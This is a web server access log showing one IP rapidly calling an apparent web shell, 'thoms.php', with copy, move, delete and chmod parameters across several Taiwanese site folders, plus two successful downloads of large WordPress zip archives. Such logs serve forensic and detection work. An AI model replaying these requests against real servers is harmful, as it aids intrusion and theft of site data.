45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?del=bfl.com-20260912023804&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bfl.com-20260912023804&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?chmod=bfl.com-20260912023804&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bfl.com-20260912023804&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /bfl.com-20260912023804/ HTTP/1.1" 404 20992 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:04 -0400] "GET /thoms.php?copy=bfl.com-20260912023804&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com-20260912023804&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:05 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:06 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:52 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus-20260912023538.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 11299501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:07 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:08 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus-20260912023538.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 15968047 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:09 -0400] "GET /thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:10 -0400] "GET /thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
